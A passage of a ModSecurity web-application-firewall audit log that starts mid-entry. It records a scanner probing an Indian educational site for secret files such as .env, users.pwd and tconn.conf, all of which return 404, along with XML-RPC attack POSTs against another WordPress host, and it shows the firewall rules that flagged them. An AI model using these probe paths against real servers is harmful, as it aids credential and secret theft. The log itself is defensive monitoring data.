"/qwertypoiu.htw"] [unique_id "aE9E9R-kH31pk4mNbsVDLAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025461142847 735065 (- - -) Stopwatch2: 1750025461142847 735065; combined=2295, p1=334, p2=1863, p3=0, p4=0, p5=98, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --934ab11d-Z-- --146e7936-A-- [16/Jun/2025:03:41:02.967900 +0530] aE9E9lR6EeXjkGzEkblpEgAAAAs 185.177.72.210 36530 127.0.0.1 7081 --146e7936-B-- GET /:8181/mail/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --146e7936-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0548537d347038840502fff206a65d7e1750025462; expires=Sun, 15 Jun 2025 23:11:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --146e7936-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/mail/.env"] [unique_id "aE9E9lR6EeXjkGzEkblpEgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025462200039 767937 (- - -) Stopwatch2: 1750025462200039 767937; combined=2025, p1=421, p2=1511, p3=0, p4=0, p5=92, sr=126, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --146e7936-Z-- --4a327745-A-- [16/Jun/2025:03:41:23.459752 +0530] aE9FCorLgrklqy57Kk2gVQAAAAg 185.177.72.210 48912 127.0.0.1 7081 --4a327745-B-- GET /:9000/storage/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4a327745-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ffeef12b37bd1baaf6f2b3670015c06d1750025483; expires=Sun, 15 Jun 2025 23:11:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4a327745-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/storage/.env"] [unique_id "aE9FCorLgrklqy57Kk2gVQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025482783271 676544 (- - -) Stopwatch2: 1750025482783271 676544; combined=1839, p1=363, p2=1379, p3=0, p4=0, p5=96, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4a327745-Z-- --5b0d0734-A-- [16/Jun/2025:03:41:24.446496 +0530] aE9FC4l8S04UZ4l67-nifAAAAAk 185.177.72.210 48964 127.0.0.1 7081 --5b0d0734-B-- GET /:8080/stag/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5b0d0734-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e18cdf943e46effed80e8249d8531f751750025484; expires=Sun, 15 Jun 2025 23:11:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5b0d0734-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/stag/.env"] [unique_id "aE9FC4l8S04UZ4l67-nifAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025483781248 665323 (- - -) Stopwatch2: 1750025483781248 665323; combined=1762, p1=411, p2=1233, p3=0, p4=0, p5=117, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5b0d0734-Z-- --3d09f341-A-- [16/Jun/2025:03:41:26.468937 +0530] aE9FDYrLgrklqy57Kk2gVwAAAAg 185.177.72.210 49062 127.0.0.1 7081 --3d09f341-B-- GET /:10000/.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3d09f341-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b5ed46f6556a471c0f8a813e6d8ef7b01750025486; expires=Sun, 15 Jun 2025 23:11:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3d09f341-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.test"] [unique_id "aE9FDYrLgrklqy57Kk2gVwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025485776443 692558 (- - -) Stopwatch2: 1750025485776443 692558; combined=1960, p1=364, p2=1489, p3=0, p4=0, p5=106, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3d09f341-Z-- --1e0bda03-A-- [16/Jun/2025:03:41:32.820506 +0530] aE9FFIl8S04UZ4l67-nigAAAAAk 185.177.72.210 48840 127.0.0.1 7081 --1e0bda03-B-- GET /:8000/www/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1e0bda03-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dc4c26ef13c525cfa03dda2dcb34ec881750025492; expires=Sun, 15 Jun 2025 23:11:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1e0bda03-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/www/.env"] [unique_id "aE9FFIl8S04UZ4l67-nigAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025492156865 663705 (- - -) Stopwatch2: 1750025492156865 663705; combined=2005, p1=437, p2=1450, p3=0, p4=0, p5=118, sr=118, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1e0bda03-Z-- --3d74790b-A-- [16/Jun/2025:03:41:35.976274 +0530] aE9FFxAGYpjnkyifC9YkdwAAAAU 185.177.72.210 48948 127.0.0.1 7081 --3d74790b-B-- GET /service.pwd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3d74790b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7c306bfdb481aa73f6712ee57fe3f8fc1750025495; expires=Sun, 15 Jun 2025 23:11:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3d74790b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/service.pwd"] [unique_id "aE9FFxAGYpjnkyifC9YkdwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025495280775 695575 (- - -) Stopwatch2: 1750025495280775 695575; combined=1926, p1=333, p2=1493, p3=0, p4=0, p5=99, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3d74790b-Z-- --4dbfce01-A-- [16/Jun/2025:03:41:45.495673 +0530] aE9FIIrLgrklqy57Kk2gYAAAAAg 185.177.72.210 48282 127.0.0.1 7081 --4dbfce01-B-- GET /_vti_pvt/users.pwd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4dbfce01-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=500c6c4c6dfb338927512a5e138eaf391750025505; expires=Sun, 15 Jun 2025 23:11:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4dbfce01-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/_vti_pvt/users.pwd"] [unique_id "aE9FIIrLgrklqy57Kk2gYAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025504834001 661735 (- - -) Stopwatch2: 1750025504834001 661735; combined=1972, p1=338, p2=1529, p3=0, p4=0, p5=105, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4dbfce01-Z-- --a62ecf7c-A-- [16/Jun/2025:03:41:52.127826 +0530] aE9FJx-kH31pk4mNbsVDRQAAAAo 185.177.72.210 33102 127.0.0.1 7081 --a62ecf7c-B-- GET /:5601/app/configurationtion/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a62ecf7c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f5c223493fe35251d025044566ad76e51750025511; expires=Sun, 15 Jun 2025 23:11:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a62ecf7c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/app/configurationtion/.env"] [unique_id "aE9FJx-kH31pk4mNbsVDRQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025511431598 696303 (- - -) Stopwatch2: 1750025511431598 696303; combined=2051, p1=423, p2=1517, p3=0, p4=0, p5=110, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a62ecf7c-Z-- --52439d79-A-- [16/Jun/2025:03:41:54.193823 +0530] aE9FKR-kH31pk4mNbsVDRgAAAAo 185.177.72.210 33230 127.0.0.1 7081 --52439d79-B-- GET /:5000/mail/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --52439d79-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=283d5e5e14a3077c8c827e30e81558071750025514; expires=Sun, 15 Jun 2025 23:11:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --52439d79-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/mail/.env"] [unique_id "aE9FKR-kH31pk4mNbsVDRgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025513528072 665812 (- - -) Stopwatch2: 1750025513528072 665812; combined=1803, p1=407, p2=1309, p3=0, p4=0, p5=86, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --52439d79-Z-- --4feec967-A-- [16/Jun/2025:03:42:00.889692 +0530] aE9FL0NwpNEMJppxC49WIgAAAAI 128.199.112.101 47882 127.0.0.1 7081 --4feec967-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --4feec967-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --4feec967-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9FL0NwpNEMJppxC49WIgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025519960904 928843 (- - -) Stopwatch2: 1750025519960904 928843; combined=1654, p1=283, p2=1019, p3=40, p4=53, p5=161, sr=78, sw=98, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4feec967-Z-- --1e3b4a05-A-- [16/Jun/2025:03:42:50.884172 +0530] aE9FYlxTdrwJSUMoZvGu2QAAAAc 185.177.72.210 42462 127.0.0.1 7081 --1e3b4a05-B-- GET /bitrix/modules/serverfilelog-0.dat HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1e3b4a05-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=298f595b1af8edc93b02cfecfe3a46f51750025570; expires=Sun, 15 Jun 2025 23:12:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1e3b4a05-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/bitrix/modules/serverfilelog-0.dat"] [unique_id "aE9FYlxTdrwJSUMoZvGu2QAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025570196094 688222 (- - -) Stopwatch2: 1750025570196094 688222; combined=1771, p1=329, p2=1338, p3=0, p4=0, p5=104, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1e3b4a05-Z-- --cf1c1f4a-A-- [16/Jun/2025:03:42:58.996385 +0530] aE9FakNwpNEMJppxC49WPQAAAAI 185.177.72.210 42828 127.0.0.1 7081 --cf1c1f4a-B-- GET /.tconn/tconn.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cf1c1f4a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f66be5d254036b7895d168788fc9d8561750025578; expires=Sun, 15 Jun 2025 23:12:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cf1c1f4a-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.tconn/tconn.conf"] [unique_id "aE9FakNwpNEMJppxC49WPQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025578314388 682108 (- - -) Stopwatch2: 1750025578314388 682108; combined=2063, p1=333, p2=1610, p3=0, p4=0, p5=120, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cf1c1f4a-Z-- --a3f50c28-A-- [16/Jun/2025:03:43:00.840648 +0530] aE9Fa1xTdrwJSUMoZvGu3gAAAAc 128.199.112.101 44350 127.0.0.1 7081 --a3f50c28-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a3f50c28-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a3f50c28-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9Fa1xTdrwJSUMoZvGu3gAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025579880556 960147 (- - -) Stopwatch2: 1750025579880556 960147; combined=2209, p1=366, p2=1464, p3=44, p4=59, p5=171, sr=105, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); 